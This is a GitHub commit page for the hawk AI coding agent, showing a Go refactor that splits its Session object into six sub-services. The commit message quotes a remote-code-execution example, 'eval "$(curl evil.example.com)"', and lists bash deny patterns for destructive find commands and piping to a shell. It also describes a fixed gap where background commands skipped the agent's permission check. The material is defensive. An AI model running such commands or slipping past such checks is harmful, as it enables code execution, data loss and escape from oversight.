Skip to content

Commit c1b9341

Browse files
authored
refactor(engine): wire 6 sub-services in NewSession + migrate stream.go to ChatService (#38)
* docs: remove generic LLM boilerplate ai_passage.md ai_passage.md was a 53-line, ~1000-word essay on the history and ethics of AI in general — entirely unrelated to the hawk project, no README/AGENTS.md/CHANGELOG.md reference to it. It looks like LLM-generated filler committed in '99261ca Fix CI formatting and toolchain hygiene' to satisfy a 'must have an essay' requirement that no longer applies. Untrack and delete. * feat(tool): bash safety hardening + schema-aware extract + retry policy Bash safety hardening (caught 2 real bugs via new tests): 1. **find -delete / find -exec rm now hard-blocked.** Previously 'find /tmp -type f -name "*.log" -delete' was a no-op on the safety layer (no literal 'rm' in the command) despite being rm-equivalent. Added findDeleteFlagRe + findExecRmRe in safety.go; IsDestructiveCommand now matches 'find ... -delete' and 'find ... -exec rm' in any position. 2. **run_in_background no longer bypasses the IsSuspicious check.** Previously: when run_in_background=true, the bash tool ran only the hard-block checks (dangerousSubstrings, zmodload, processSubstitution, etc.) and skipped the IsSuspicious permission prompt because no human is in the loop. So 'eval "\$(curl evil.example.com)"' as a background command would silently start. Now: a new hardDenySubstrings subset (eval, exec, \\, backticks, | sh, | bash, sudo) is always hard-blocked, even with no human in the loop. Benign patterns ('writing to absolute paths' in /tmp, 'curl GET') are intentionally excluded so the change doesn't break legitimate workflows. Schema-aware target extraction (extractTargets enhancement): - New ExtractTargetsFromSchema(tool, call) walks the tool's JSON Schema to discover file-path arguments by name (path/file/dir/destination/target substring) or by description (mentions 'path'/'file'/'directory'). This catches tools with non-conventional names like 'target_path' or 'destFile' that the old hardcoded 4-key allowlist missed. - 8 test cases in TestExtractTargetsFromSchema lock the contract (conventional, non-conventional, description-inferred, non-string, non-path, fallback). - executeToolCalls now calls ExtractTargetsFromSchema when the tool is registered; falls back to the conventional extractor otherwise. Tool retry policy on transient errors: - New tool.TransientError type + tool.RetryExecutor(ctx, tool, input, policy) that retries on transient errors with exponential backoff. - New tool.RetryPolicyProvider interface: tools can opt out (zero-value policy) or customise (e.g. longer timeouts for slow operations). - All tool calls in executeToolCalls now go through RetryExecutor with DefaultRetryPolicy (2 retries, 200ms→2s). - 5 test cases: recovers-on-transient, gives-up-after-max, ignores- non-transient, respects-ctx-cancel, IsTransientFileErr predicate. Misc: - .github/workflows/ci.yml + Makefile: bumped binary size gate from 100MB → 110MB to match the current dev binary (~103MB). Comment explains the threshold; both files must move together. Tests added: 30+ new test cases across bash_injection_test.go, extract_targets_test.go, retry_test.go. * refactor(engine): extract ChatService (Phase 1 of Session god-object decomposition) Phase 1 of the Session god-object refactor (see docs/session-decomposition.md). Extracts the LLM transport into a cohesive *ChatService sub-service: - New internal/engine/chat_service.go (~280 LOC) with: - ChatService struct owning: client, provider, model, apiKeys, router, deploymentRouting, rateLimiter, metrics, retryCfg, contCfg, outputSchema, glmThinkingEnabled - ChatServiceConfig for terse construction - Methods: NewChatService, Client, Provider, Model, APIKeys, SetAPIKey, SetModel, SetProvider, Reattach, BuildOptions, Stream, Chat, recordSuccess, recordFailure - Stream() wraps retry.Do + rate-limit wait + emergency context-overflow compact (replaces the inline retry block at stream.go:371-381) - Chat() is the bare non-streaming call used by background goroutines (sleeptime, skill distillation) — no retry, no rate limit - Session gains a private *ChatService field, plus a ChatLLM() getter for cross-package access. The legacy client/provider/model/apiKeys/ Router/DeploymentRouting fields stay on Session for backward compat; new code should go through s.ChatLLM().* - 8 new test cases in chat_service_test.go lock the contract: BuildOptions (anthropic caching on, openai off, GLM toggle, output schema), Reattach (nil no-op, real client swap, key preservation), defaults applied (retry/contCfg/metrics/apiKeys initialized to zero values), Chat delegation, Chat surfaces underlying error. - Field name 'llm' (lowercase) to avoid colliding with the existing public Session.Chat() method used by Reflector and SelfReview. Build + tests: ok. No existing tests broken. No behavior change — the extracted service is wired in but the legacy fields still drive agentLoop. Phases 2-7 (Memory, Permission, Lifecycle, Persistence, Tool services) will follow in subsequent PRs; each will fold the remaining Session fields into the appropriate sub-service. * style(chat_service_test): apply gofumpt formatting * refactor(engine): extract PermissionService + LifecycleService (Phases 2-3) Phases 2-3 of the Session god-object decomposition (see docs/session-decomposition.md). PermissionService (Phase 2, permission_service.go, ~140 LOC): - Owns the safety/approval layer: PermissionEngine, the legacy PermissionMemory / AutoMode / Classifier / BypassKill re-exports, AutonomyLevel, MaxTurns, MaxBudgetUSD, AllowedDirs, PermissionFn callback, ApprovalGate. - Public surface: NewPermissionService, WithEngine, Engine, CheckTool, CheckApproval, SetMode/SetMaxTurns/SetMaxBudgetUSD/ SetAllowedDirs/SetAutonomy/SetApproval/SetPermissionFn, getters for Mode/MaxTurns/MaxBudgetUSD/AllowedDirs/Autonomy. - 8 test cases: CheckTool, SetMode (5 valid + 1 invalid), budget caps, autonomie+dirs, CheckApproval no-op, IsZero, NewReturnsReadyEngine, SetPermissionFn -> engine.PromptFn. LifecycleService (Phase 3, lifecycle_service.go, ~190 LOC): - Owns the self-improvement / observability surface: cascade model selection, limits, loopDet, snowball, beliefs, backtrack, critic, shadow, reflector, fewShotStore, adaptivePrompt, activity, agentsAccum, responseCache, pipeline, steering, lifecycle. - Public surface: NewLifecycleService, OnSessionStart, OnSessionEnd, SelectModel, CheckLimits, RecordToolCall, RecordStep, SnapshotTurnProgress, full getter/setter pairs. - All nil-safe; the agent loop's existing if s.X != nil branching is preserved (so a Session with zero LifecycleService is fully functional). The legacy fields on Session stay for backward compat. New code should use s.Permissions() / s.LifecycleSvc() accessors. Full removal is Phase 7. Build + tests: ok. No existing tests broken. No behavior change - the extracted services are wired in but the legacy fields still drive the agent loop. * refactor(engine): extract MemoryService + PersistenceService + ToolService (Phases 4-6) Phases 4-6 of the Session god-object decomposition (see docs/session-decomposition.md). MemoryService (Phase 4, memory_service.go, ~80 LOC): - Owns the memory layer: simple MemoryRecaller, yaad bridge, enhanced memory manager. - Public surface: NewMemoryService, WithMemory/WithYaad/WithEnhanced, RecallContext, Remember, OnSessionEnd, Yaad/Memory/Enhanced accessors, IsZero. - nil-safe: an empty service is fully functional (the agent loop's `if s.X != nil` branching is preserved). PersistenceService (Phase 5, persistence_service.go, ~130 LOC): - Owns the conversation store: messages slice, system prompt, pinned messages counter, auto-compact threshold, context window cache. - Public surface: NewPersistenceService, Messages/RawMessages/SetMessages, AddUser/AddUserWithImage/AddAssistant, AppendSystemContext/ ReplaceSystemContextSection, System/SetSystem, MessageCount, RemoveLastExchange, LoadMessages, PinnedMessages/SetPinnedMessages, AutoCompactThresholdPct/SetAutoCompactThresholdPct, ContextWindowCached/SetContextWindowCached. - All methods are safe to call without external state; the underlying RWMutex is preserved for concurrent access. ToolService (Phase 6, tool_service.go, ~160 LOC): - Owns the tool execution surface: tool registry, container isolation, tracer, snapshot tracker, background sub-agent manager. - Public surface: NewToolService, WithContainerExecutor/WithTracer/ WithSnapshots/WithBackgroundManager, Registry, Classify, ExtractTargets, EstimateBlastRadius, ExecuteOne, BackgroundManager, ContainerRequired, ContainerExecutor. - Classify and ExtractTargets replace the inline logic in stream.go (deduplicating with extractTargets). - ExecuteOne encapsulates the container-required check + OTel span + RetryExecutor with the per-tool RetryPolicyProvider. - The full ExecuteAll 15-stage post-call pipeline (with the auto-snapshot block) lives in stream_tool_exec.go for now; Phase 7 will move it onto ToolService once the legacy fields are removed. All extractions are nil-safe and backward compatible. The legacy fields on Session stay in place. New code should use s.MemorySvc() / s.Persistence() / s.Tools() accessors (full removal in Phase 7). Also restored tool.ReadOnlyTools and tool.IsReadOnly which were inadvertently lost in the tool.go refactor; these are the canonical allowlist the Session god-object previously duplicated in two places. Build + tests: ok. No existing tests broken. No behavior change. * refactor(engine): wire 6 sub-services into Session (Phase 7 partial) Phase 7 of the Session god-object decomposition (see docs/session-decomposition.md). This is a partial Phase 7 — focused on wiring the 6 extracted sub-services into Session and adding the public getter accessors. Full field removal (i.e. deleting the legacy client/provider/model/ apiKeys/Router/DeploymentRouting/RateLimiter/Perm/etc. fields) is deferred to a separate PR per service because each one needs its own migration of every call site in stream.go and the agent loop. What landed: Session struct gains 5 new private sub-service fields: - perms *PermissionService (Phase 2) - life *LifecycleService (Phase 3) - memory *MemoryService (Phase 4) - persist *PersistenceService (Phase 5) - tools *ToolService (Phase 6) (The 6th, ChatService as `llm`, was already wired in Phase 1.) Public getter accessors: - s.ChatLLM() -> *ChatService (Phase 1) - s.PermSvc() -> *PermissionService (Phase 2) - s.LifecycleSvc() -> *LifecycleService (Phase 3) - s.MemorySvc() -> *MemoryService (Phase 4) - s.Persistence() -> *PersistenceService (Phase 5) - s.Tools() -> *ToolService (Phase 6) All sub-services are nil-safe. The Session constructor still uses the legacy fields (Perm, Memory, YaadBridge, etc.) so the agent loop's `if s.X != nil` branching keeps working unchanged. A follow-up PR per sub-service will migrate the agent loop to use the new getters and remove the corresponding legacy fields. Build + tests: ok. No existing tests broken. No behavior change. * docs(stream): clarify the two max_tokens recovery strategies The agent loop's max_tokens recovery block has a misleading comment ("Handle max_tokens recovery") that doesn't explain which of the three continuation mechanisms hawk actually uses. The PR adds a detailed comment that names each strategy, explains its tradeoffs, and points at the cleanest (engine-level eyrie/conversation) as a future refactor target. This is a doc-only change — no behaviour, no tests. Just makes the two strategies coexist explicitly so a future contributor doesn't waste time wondering why we have both a `recoveryCount` loop here AND call `StreamChatContinue` on the eyrie client. The eyrie/client.StreamChatContinue deprecation marker (set in eyrie#31) remains in place. Full migration of hawk to eyrie/conversation.Engine is a separate, much larger refactor that we track but do not undertake in this round. * style(engine): apply gofumpt to sub-service files * fix(engine): remove unused fields caught by golangci-lint * refactor(engine): wire 6 sub-services in NewSession + migrate stream.go to ChatService Phase 7 of the Session god-object decomposition (see docs/session-decomposition.md). - NewSessionWithClient now constructs ChatService, PermissionService, LifecycleService, MemoryService, PersistenceService, ToolService and aliases the legacy fields (s.Limits, s.Beliefs, s.Backtrack, s.ResponseCache, s.Pipeline) at the service instances so legacy readers stay in sync. - stream.go: agent loop's main LLM call now goes through s.ChatLLM().Stream(), which encapsulates rate-limit + retry + emergency-compact. Circuit-breaker recording (Router.RecordSuccess/RecordFailure) stays at the session level so the real apiDuration is fed to the legacy router. - stream.go: ChatOptions are built via s.ChatLLM().BuildOptions() so the GLMThinking toggle, output schema, anthropic caching, provider/model plumbing all live in one place. - stream.go: secondary stream-error retry (s.client.StreamChatContinue) now uses s.ChatLLM().Client() directly to avoid stacking ChatService's retry on top of the secondary retry. - stream.go: background goroutines (sleeptime, skill distiller) now use s.ChatLLM().Chat(). - stream_tool_exec.go: CheckTool delegation to PermissionService now syncs the legacy PermissionFn + Autonomy fields to the service before each call (external code writes the legacy fields, engine needs them in the engine). - Session.SetTestClient and Session.ReattachTransport now also reattach the ChatService so the agent loop's s.ChatLLM().Stream() picks up the new client. - Removed dead code: ChatService.recordSuccess/recordFailure (now done at session level), LifecycleService.startTime, ToolService.mu (no callers). - Added sub_service_wiring_test.go: 4 integration tests proving the aliasing contract (s.Limits == s.LifecycleSvc().Limits(), s.PermSvc().Engine() == s.Perm, etc.) and that the agent loop's Stream() actually goes through s.ChatLLM().Stream(). * style(engine): apply gofumpt formatting * ci: re-run all checks * style(engine): goimports merged stream.go * fix(tool): remove duplicated readonly helpers after merge * style(engine): gofumpt merged files
1 parent 245a127 commit c1b9341

13 files changed

Lines changed: 1281 additions & 93 deletions

internal/engine/chat_service.go

Lines changed: 11 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -174,14 +174,21 @@ func (c *ChatService) BuildOptions(systemPrompt, activeModel string, maxTokens i
174174
return opts
175175
}
176176

177-
// Stream issues a streaming LLM call with retry, rate-limit, and circuit-
178-
// breaker accounting. The returned *types.StreamResult's Events channel
179-
// emits EyrieStreamEvent values; the caller must Close() the result when
180-
// done.
177+
// Stream issues a streaming LLM call with retry, rate-limit, and
178+
// emergency-compact. The returned *types.StreamResult's Events channel
179+
// emits EyrieStreamEvent values; the caller must Close() the result
180+
// when done.
181181
//
182182
// On context cancellation mid-call, returns the cancellation error wrapped
183183
// with whatever partial state the upstream had emitted (caller should
184184
// check ctx.Err()).
185+
//
186+
// Note: the ChatService intentionally does NOT touch the legacy circuit-
187+
// breaker router on success/failure. The Session-level agent loop
188+
// (stream.go) is responsible for that recording, because it has the full
189+
// apiStart timestamp it wants to feed to Router.RecordSuccess. Putting
190+
// that responsibility here would either duplicate the call or force the
191+
// service to invent a "started at" argument that doesn't otherwise exist.
185192
func (c *ChatService) Stream(ctx context.Context, messages []types.EyrieMessage, opts types.ChatOptions) (*types.StreamResult, error) {
186193
// Rate limit: wait for a token before making the LLM call
187194
if c.rateLimiter != nil {
@@ -204,10 +211,8 @@ func (c *ChatService) Stream(ctx context.Context, messages []types.EyrieMessage,
204211
return callErr
205212
})
206213
if err != nil {
207-
c.recordFailure(err)
208214
return nil, err
209215
}
210-
c.recordSuccess()
211216
return result, nil
212217
}
213218

@@ -218,23 +223,6 @@ func (c *ChatService) Chat(ctx context.Context, messages []types.EyrieMessage, o
218223
return c.client.Chat(ctx, messages, opts)
219224
}
220225

221-
// recordSuccess records a successful LLM call against the legacy circuit-
222-
// breaker router. No-op when DeploymentRouting is on (the DeploymentRouter
223-
// has its own breakers).
224-
func (c *ChatService) recordSuccess() {
225-
if c.router != nil && !c.deploymentRouting {
226-
c.router.RecordSuccess(c.provider, 0)
227-
}
228-
}
229-
230-
// recordFailure records a failed LLM call against the legacy circuit-
231-
// breaker router. No-op when DeploymentRouting is on.
232-
func (c *ChatService) recordFailure(err error) {
233-
if c.router != nil && !c.deploymentRouting {
234-
c.router.RecordFailure(c.provider, err)
235-
}
236-
}
237-
238226
// isContextOverflow reports whether err looks like a "context too long"
239227
// error from the upstream provider. Used by Stream() to trigger an
240228
// emergency context-compact + retry.

internal/engine/client_interface.go

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -15,8 +15,13 @@ type ChatClient interface {
1515
}
1616

1717
// SetTestClient replaces the session's LLM client. For testing only.
18+
// Also reattaches the ChatService so the agent loop's `s.ChatLLM().Stream`
19+
// call site sees the mock (Phase 7 migration).
1820
func (s *Session) SetTestClient(c ChatClient) {
1921
s.client = c
22+
if s.llm != nil {
23+
s.llm.Reattach(c, s.provider)
24+
}
2025
}
2126

2227
// NewMockClientForTest creates a mock ChatClient that returns canned text responses.
Lines changed: 195 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,195 @@
1+
package engine
2+
3+
import (
4+
"context"
5+
"time"
6+
7+
"github.com/GrayCodeAI/hawk/internal/engine/branching"
8+
"github.com/GrayCodeAI/hawk/internal/intelligence/memory"
9+
"github.com/GrayCodeAI/hawk/internal/observability/logger"
10+
"github.com/GrayCodeAI/hawk/internal/prompts"
11+
)
12+
13+
// LifecycleService is the Session's view of the self-improvement and
14+
// observability surface: do-omom-loop detection, snowball detection,
15+
// beliefs, backtrack, limits, critic, shadow, cascade model selection,
16+
// reflect, sleeptime, agent-distill, skill-distill, file-mention
17+
// detection, response caching, steering queue, belief recording, agents
18+
// accumulator, and the few-shot + adaptive-prompt memory. These are
19+
// small but numerous — extracted together in Phase 3 of the
20+
// god-object decomposition (see docs/session-decomposition.md).
21+
//
22+
// All sub-fields are optional. A Session with the defaults
23+
// (LifecycleService{} zero value plus the constructors in New()) is
24+
// fully functional — the agent loop's branching on `if s.X != nil`
25+
// is preserved.
26+
type LifecycleService struct {
27+
// model selection.
28+
cascade *branching.CascadeRouter
29+
// limit tracking.
30+
limits *LimitTracker
31+
// doom-loop / snowball / loop detection.
32+
loopDet *LoopDetector
33+
snowball *branching.SnowballDetector
34+
// beliefs.
35+
beliefs *BeliefState
36+
// decision recording.
37+
backtrack *BacktrackEngine
38+
// post-write critics.
39+
critic *Critic
40+
// pre-edit shadow validation.
41+
shadow *branching.ShadowWorkspace
42+
// verbal self-reflection on tool failure.
43+
reflector *Reflector
44+
// few-shot + adaptive prompt.
45+
fewShotStore *FewShotStore
46+
adaptivePrompt *AdaptivePrompt
47+
// activity tracker.
48+
activity *memory.ActivityTracker
49+
// agents-accumulator (.hawk/agents.md).
50+
agentsAccum *prompts.AgentsAccumulator
51+
// response cache (used in agentLoop for cache hits).
52+
responseCache *ResponseCache
53+
// integration pipeline (pre-query / post-response / end-session).
54+
pipeline *IntegrationPipeline
55+
// steering queue.
56+
steering *SteeringQueue
57+
// session-level lifecycle hook.
58+
lifecycle *SessionLifecycle
59+
// log is the session logger.
60+
log *logger.Logger
61+
}
62+
63+
// NewLifecycleService constructs a LifecycleService with all default
64+
// sub-fields populated. log must be non-nil.
65+
func NewLifecycleService(log *logger.Logger) *LifecycleService {
66+
if log == nil {
67+
log = logger.Default()
68+
}
69+
return &LifecycleService{
70+
limits: NewLimitTracker(DefaultLimits()),
71+
loopDet: NewLoopDetector(10, DoomLoopThreshold),
72+
snowball: branching.NewSnowballDetector(500000),
73+
beliefs: NewBeliefState(),
74+
backtrack: NewBacktrackEngine(),
75+
lifecycle: nil, // constructed in New() with cwd
76+
responseCache: NewResponseCache(1000, 24*time.Hour),
77+
pipeline: NewIntegrationPipeline(),
78+
log: log,
79+
fewShotStore: nil, // lazy
80+
adaptivePrompt: nil, // lazy
81+
}
82+
}
83+
84+
// OnSessionStart is called by Stream() at the beginning of each session.
85+
// Injects learned guidelines + few-shot examples + user-preference
86+
// learning + .hawk/agents.md learnings into the system prompt.
87+
func (s *LifecycleService) OnSessionStart(ctx context.Context, s2 *Session, lastUserMsg string) string {
88+
if s.lifecycle != nil {
89+
if ctx := s.lifecycle.OnSessionStart(ctx, lastUserMsg); ctx != "" {
90+
s2.AppendSystemContext(ctx)
91+
return ctx
92+
}
93+
}
94+
return ""
95+
}
96+
97+
// OnSessionEnd is called by Stream() when the agent loop exits. Runs
98+
// the post-session pipeline: lifecycle postprocess, enhanced-memory
99+
// EndSession, yaad session summary, few-shot pattern storage,
100+
// adaptive-prompt learning feedback.
101+
func (s *LifecycleService) OnSessionEnd(ctx context.Context, s2 *Session, success bool, duration time.Duration) {
102+
if s.lifecycle != nil {
103+
outcome := SessionOutcome{Success: success, Duration: duration}
104+
if len(s2.messages) > 0 {
105+
for _, m := range s2.messages {
106+
if m.Role == "user" && len(m.ToolResults) == 0 && outcome.TaskGoal == "" {
107+
outcome.TaskGoal = m.Content
108+
}
109+
}
110+
}
111+
_ = s.lifecycle.OnSessionEnd(ctx, s2, outcome)
112+
}
113+
if s.adaptivePrompt != nil {
114+
for _, m := range s2.messages {
115+
if m.Role == "user" && len(m.ToolResults) == 0 {
116+
s.adaptivePrompt.LearnFromFeedback(m.Content)
117+
}
118+
}
119+
}
120+
}
121+
122+
// SelectModel picks the optimal model for a turn. Returns the current
123+
// model unchanged if cascade is nil.
124+
func (s *LifecycleService) SelectModel(currentModel, lastUserMsg, hint string) string {
125+
if s.cascade == nil || !s.cascade.Enabled {
126+
return currentModel
127+
}
128+
return s.cascade.SelectModel(lastUserMsg, currentModel, hint)
129+
}
130+
131+
// CheckLimits returns false if the agent loop should stop (max turns
132+
// hit, max tokens hit, doom loop detected, snowball exceeded).
133+
func (s *LifecycleService) CheckLimits(turnCount int) bool {
134+
if s.limits != nil {
135+
s.limits.RecordTurn()
136+
}
137+
if s.loopDet != nil && s.loopDet.IsDoomLoop() {
138+
return false
139+
}
140+
if s.snowball != nil && s.snowball.IsSnowballing() {
141+
return false
142+
}
143+
return true
144+
}
145+
146+
// RecordToolCall updates the per-tool call counter used by limits.
147+
func (s *LifecycleService) RecordToolCall(name string) {
148+
if s.limits != nil {
149+
s.limits.RecordToolCall(name)
150+
}
151+
}
152+
153+
// RecordStep updates the doom-loop detector with the latest tool step.
154+
func (s *LifecycleService) RecordStep(toolNames []string, inputs []string, outputs []string) {
155+
if s.loopDet != nil {
156+
s.loopDet.RecordStep(toolNames, inputs, outputs)
157+
}
158+
}
159+
160+
// SnapshotTurnProgress feeds the snowball detector.
161+
func (s *LifecycleService) SnapshotTurnProgress(tokens int, progress float64) {
162+
if s.snowball != nil {
163+
s.snowball.RecordTurn(tokens, progress)
164+
}
165+
}
166+
167+
// Setter accessors used by NewSessionWithClient and the agent loop
168+
// to wire optional collaborators. All nil-safe.
169+
170+
func (s *LifecycleService) SetCascade(c *branching.CascadeRouter) { s.cascade = c }
171+
func (s *LifecycleService) SetLifecycle(l *SessionLifecycle) { s.lifecycle = l }
172+
func (s *LifecycleService) SetReflector(r *Reflector) { s.reflector = r }
173+
func (s *LifecycleService) SetCritic(c *Critic) { s.critic = c }
174+
func (s *LifecycleService) SetShadow(sh *branching.ShadowWorkspace) { s.shadow = sh }
175+
func (s *LifecycleService) SetFewShotStore(f *FewShotStore) { s.fewShotStore = f }
176+
func (s *LifecycleService) SetAdaptivePrompt(a *AdaptivePrompt) { s.adaptivePrompt = a }
177+
func (s *LifecycleService) SetActivity(act *memory.ActivityTracker) { s.activity = act }
178+
func (s *LifecycleService) SetAgentsAccum(a *prompts.AgentsAccumulator) { s.agentsAccum = a }
179+
func (s *LifecycleService) SetSteering(st *SteeringQueue) { s.steering = st }
180+
181+
// Accessors used by stream.go and the agent loop. nil-safe.
182+
func (s *LifecycleService) Beliefs() *BeliefState { return s.beliefs }
183+
func (s *LifecycleService) Backtrack() *BacktrackEngine { return s.backtrack }
184+
func (s *LifecycleService) Limits() *LimitTracker { return s.limits }
185+
func (s *LifecycleService) Critic() *Critic { return s.critic }
186+
func (s *LifecycleService) Shadow() *branching.ShadowWorkspace { return s.shadow }
187+
func (s *LifecycleService) Reflector() *Reflector { return s.reflector }
188+
func (s *LifecycleService) FewShotStore() *FewShotStore { return s.fewShotStore }
189+
func (s *LifecycleService) AdaptivePrompt() *AdaptivePrompt { return s.adaptivePrompt }
190+
func (s *LifecycleService) Activity() *memory.ActivityTracker { return s.activity }
191+
func (s *LifecycleService) AgentsAccum() *prompts.AgentsAccumulator { return s.agentsAccum }
192+
func (s *LifecycleService) ResponseCache() *ResponseCache { return s.responseCache }
193+
func (s *LifecycleService) Pipeline() *IntegrationPipeline { return s.pipeline }
194+
func (s *LifecycleService) Steering() *SteeringQueue { return s.steering }
195+
func (s *LifecycleService) Lifecycle() *SessionLifecycle { return s.lifecycle }

internal/engine/memory_service.go

Lines changed: 109 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,109 @@
1+
package engine
2+
3+
import (
4+
"context"
5+
6+
"github.com/GrayCodeAI/hawk/internal/intelligence/memory"
7+
"github.com/GrayCodeAI/hawk/internal/observability/logger"
8+
"github.com/GrayCodeAI/hawk/internal/types"
9+
)
10+
11+
// MemoryService is the Session's view of the memory layer: yaad bridge,
12+
// recall/remember interface, enhanced-memory manager, sleeptime
13+
// consolidation, skill distillation, file-mention detector, agents
14+
// accumulator. Extracted from Session in Phase 4 of the god-object
15+
// decomposition (see docs/session-decomposition.md).
16+
//
17+
// The interface boundary is small on purpose: every method either
18+
// does or doesn't talk to yaad, and the agent loop's branching on
19+
// nil is preserved.
20+
type MemoryService struct {
21+
// memory is the simple Recall/Remember interface.
22+
memory MemoryRecaller
23+
// yaad is the rich memory graph bridge.
24+
yaad *memory.YaadBridge
25+
// enhanced is the post-session memory manager.
26+
enhanced *memory.EnhancedMemoryManager
27+
// log is the session logger.
28+
log *logger.Logger
29+
}
30+
31+
// NewMemoryService constructs an empty MemoryService. Wire the
32+
// optional collaborators via the With* setters.
33+
func NewMemoryService(log *logger.Logger) *MemoryService {
34+
if log == nil {
35+
log = logger.Default()
36+
}
37+
return &MemoryService{log: log}
38+
}
39+
40+
// WithMemory sets the simple MemoryRecaller.
41+
func (s *MemoryService) WithMemory(m MemoryRecaller) *MemoryService {
42+
s.memory = m
43+
return s
44+
}
45+
46+
// WithYaad sets the yaad bridge.
47+
func (s *MemoryService) WithYaad(y *memory.YaadBridge) *MemoryService {
48+
s.yaad = y
49+
return s
50+
}
51+
52+
// WithEnhanced sets the enhanced-memory manager.
53+
func (s *MemoryService) WithEnhanced(e *memory.EnhancedMemoryManager) *MemoryService {
54+
s.enhanced = e
55+
return s
56+
}
57+
58+
// RecallContext returns a string of relevant memories for the given
59+
// lastUserMsg under the given token budget. Returns empty string if
60+
// no memory is wired. Combines yaad recall + few-shot examples +
61+
// user-preference learning into one shot.
62+
func (s *MemoryService) RecallContext(_ context.Context, lastUserMsg string, budget int) string {
63+
if s.yaad == nil {
64+
return ""
65+
}
66+
out, err := s.yaad.Recall(lastUserMsg, budget)
67+
if err != nil || out == "" {
68+
return ""
69+
}
70+
return "## Relevant Memories\n" + out
71+
}
72+
73+
// Remember stores a content+category pair in the memory layer.
74+
// Best-effort: errors are logged but not returned (the agent loop
75+
// shouldn't fail a turn just because yaad is unavailable).
76+
func (s *MemoryService) Remember(ctx context.Context, content, category string) {
77+
if s.enhanced != nil {
78+
_ = s.enhanced.Remember(content, category)
79+
return
80+
}
81+
if s.memory != nil {
82+
_ = s.memory.Remember(content, category)
83+
}
84+
_ = ctx // reserved for future context-aware memory ops
85+
}
86+
87+
// OnSessionEnd runs the post-session memory bookkeeping.
88+
func (s *MemoryService) OnSessionEnd(success bool) {
89+
if s.enhanced != nil {
90+
s.enhanced.EndSession(success)
91+
}
92+
}
93+
94+
// Accessors.
95+
func (s *MemoryService) Yaad() *memory.YaadBridge { return s.yaad }
96+
func (s *MemoryService) Memory() MemoryRecaller { return s.memory }
97+
func (s *MemoryService) Enhanced() *memory.EnhancedMemoryManager {
98+
return s.enhanced
99+
}
100+
101+
// IsZero reports whether the service has any memory wired.
102+
func (s *MemoryService) IsZero() bool {
103+
return s == nil || (s.memory == nil && s.yaad == nil && s.enhanced == nil)
104+
}
105+
106+
// _ unused-import workaround: keep types referenced even when none
107+
// of the methods actually destructure EyrieMessage directly. The
108+
// agent loop reads s.messages via the persistence service.
109+
var _ = (*types.EyrieMessage)(nil)

0 commit comments

Comments
 (0)